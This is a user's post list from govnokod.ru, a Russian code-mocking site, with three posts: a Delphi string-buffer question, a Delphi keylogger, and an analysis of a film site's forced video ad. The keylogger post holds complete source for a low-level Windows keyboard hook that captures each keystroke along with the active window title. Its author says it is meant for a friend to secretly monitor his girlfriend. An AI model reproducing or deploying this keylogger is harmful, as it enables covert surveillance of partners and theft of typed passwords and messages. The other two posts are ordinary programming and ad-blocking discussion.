1. Список говнокодов пользователя BagorCtretora

    Всего: 3

  2. Pascal / Говнокод #24872

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    procedure TMainForm.FormCreate(Sender: TObject);
    var
      s : String;
      reg : TRegistry;
    begin
      SetLength (s, Max_Path);
      SHGetSpecialFolderPath (0, PChar(s), CSIDL_COMMON_APPDATA, false);
      AppDataPath := s + '\Test\';
      ShowMessage (AppDATAPath);
    end;
    
    , где AppDataPath : string;
    Только вот в AppDataPath находиться только S, а должно быть s + '\Test\'
    Вопрос: Почему?
    Заранее благодарен
    
    
    
    Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать. Нужно делать так:
    
    Код:
    var
      s : array[ 0..MAX_PATH ] of Char;
      reg : TRegistry;
    begin
      s[ 0 ] := #0;
      SHGetSpecialFolderPath (0, s, CSIDL_COMMON_APPDATA, false);
      AppDataPath := s + '\Test\';
      ShowMessage (AppDATAPath);
    end;
    
    http://www.programmersforum.ru/showthread.php?t=84319

    @Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать.
    Ахуенно крутой спец по строкам.

    Кстати, https://primechaniya.ru/home/news/oktyabr-2018/v-tatarstane-18-podrostkov-otravilis-kitajskimi-duhami/

    BagorCtretora, 08 Октября 2018

    Комментарии (66)
  3. Pascal / Говнокод #24859

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    unit KHook;
    
    interface
    
    uses Windows, SysUtils, Messages;
    
    const
      WH_KEYBOARD_LL = 13;
      LLKHF_UP = $0080;
    
    type
      TKbdHookEvent=procedure (S:WideString);
    
    type
      PKbdDllHookStruct = ^TKbdDllHookStruct;
      TKbdDllHookStruct = record
        vkCode: DWORD;
        scanCode: DWORD;
        flags: DWORD;
        time: DWORD;
        dwExtraInfo: PDWORD;
      end;
      KBDLLHOOKSTRUCT = TKbdDllHookStruct;
    
    implementation
    
    var
      KbdProc:TKbdHookEvent=nil;
      Hook:HHOOk;
      WinTitle:WideString='';
    
    function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
    var
      KeyName:WideString;
      CurrWinTitle:WideString;
      KeyState : TKeyboardState;
      hklLayout:HKL;
      FW:HWND;
    begin
       try
        if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
        begin
          FW:=GetForegroundWindow;
          hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
          GetKeyboardState(KeyState);
          SetLength(CurrWinTitle, 1000);
          SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
          with PKbdDllHookStruct(LParam)^ do
          case vkCode of
            VK_BACK:     KeyName := '[BackSpace]';
            VK_TAB:      KeyName := '[Tab]';
            VK_CAPITAL:  KeyName := '[CapsLock]';
            VK_RETURN:   KeyName := '[Enter]';
            VK_ESCAPE:   KeyName := '[Esc]';
            VK_CANCEL:   KeyName :=  '[Cancel]';
            VK_F1:       KeyName := '[F1]';
    			{...}
            VK_HELP:     KeyName := '[Help]';
          else
            SetLength(KeyName,1);
            KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
            KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
            if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
            KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
          end;
          if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
          if WinTitle='' then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:=CurrWinTitle+' {'#13#10+KeyName;
          end
          else if WinTitle <> CurrWinTitle then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
          end;
          KbdProc(KeyName);
        end;
      finally
         Result := CallNextHookEx(Hook,nCode,wParam,lParam);
      end;
    end;
    
    function SetHook(lpCallBack:TKbdHookEvent):Boolean;
    begin
      if Assigned(lpCallBack) then
      KbdProc:=lpCallBack;
      Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
      Result:=(Hook <> INVALID_HANDLE_VALUE);
    end;
    
    function RemoveHook:Boolean;
    begin
       Result:=UnHookWindowsHookEx(Hook);
    end;
    
      exports SetHook,
       RemoveHook;
    end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    BagorCtretora, 04 Октября 2018

    Комментарии (126)
  4. Куча / Говнокод #24784

    +2

    1. 1
    <VAST version="3.0"><Ad id="5693910"><InLine><AdSystem version="1.0.0">Integros Adserver</AdSystem><MediaFiles><MediaFile id="13258463" delivery="progressive" type="video/mp4" width="852" height="480">https://df1da99b6f27b41d.com/f9ffc53e/226d88d1ea40.mp4</MediaFile></MediaFiles><VideoClicks><ClickTracking>https://afd4aaf58705a09a.com/_/MTUzNzIyMTY5NXxrTjZ6RDJXNDlRTExIYTVST3E4S2dpd3U1NllHY1lzRFVmblBPUnJSQkNRbUhqR0F4S3h3V2dtN0N5X190VkFLNV9kM0JDNy1JTTF1X2lhQXFfbXloQUNVZ3FhMnhPcFZ2aWNuN0k5dFFaeUhqUWhYMFU0X0Zoa1ZzTWdFYWpoT250ZFVRVGM2akE2TTJNdXVHV1BYc3QtSndETkFMMnVULXFyaWVhV3NEZzh3czI1anAxQmRjVUtHblRLSUdxbzE1dk1WdGRzbEg5N0JLZEF6V0NkU2R4dFo2SGNkT1NfdTN4VkZHMVVYLWlaSGMyeWcyX0dCVWJNWHlPTWxNTS0xUV9ER3g5OHo3MmFiaG9oTWxSaDBKR09JZFRJaDQ1Vy1aR01MYjhKVjVENks0cGxWMFA5TzR2NUFETzJZSlN6QWJkcDRmaDZ2TDBPRFBnczY5WFVhcGo2RkR0bHV2QmVFTHpTSTNTT0lRNDVlUzNjTzJFd0JiVFY1YVNZVlNUdzlHRUFfNGVuSXyiaqVx2xuQhv_zxFuD7whj3cFV3W-uqILcTaKKHoKblw==?p=[CONTENTPLAYHEAD]</ClickTracking><ClickThrough id="150081807">https://w3.adm78.com/?project=admiral-xxx&user=xxx-fox&adserv=intgrs&source=mw&id=stoner10&type=video&campaign=ruadblck&p_if</ClickThrough></VideoClicks></Linear></Creative></Creatives></InLine></Ad></VAST>

    Не секрет, что многие сайты с фильмами, которые ещё не попали в базу роскомпозора, находятся в сговоре с азино 777, предваряя просмотр фильма показом рекламы - пресловутое видео под заголовком "сруби бабла", где парень-мажор сорит деньгами, находясь в обществе доступных девиц.

    При анализе страницы выяснилось следующее.
    Страница загружает JS-скрипт с рандомным именем по рандомной ссылке - блокировка бессмысленна, кроме того, это вызовет вызывает проблемы с воспроизведением, т.к. скрипт содержит ссылку на желаемый фильм.
    Также подгружается XML и далее создаётся iframe плеера. Ссылка на ресурс берётся из поля MediaFile.
    Переключения вкладок и потеря ими фокуса отслеживаются скриптом, который немедленно приостанавливает видео - таким образом, пользователь вынужден смотреть ролик до конца. Сраный роскомпозор, убивший сотню-другую полезных сайтов здесь опять показал свою никчемность...

    Вопрос: как запломбировать это рекламное гуано?

    BagorCtretora, 18 Сентября 2018

    Комментарии (18)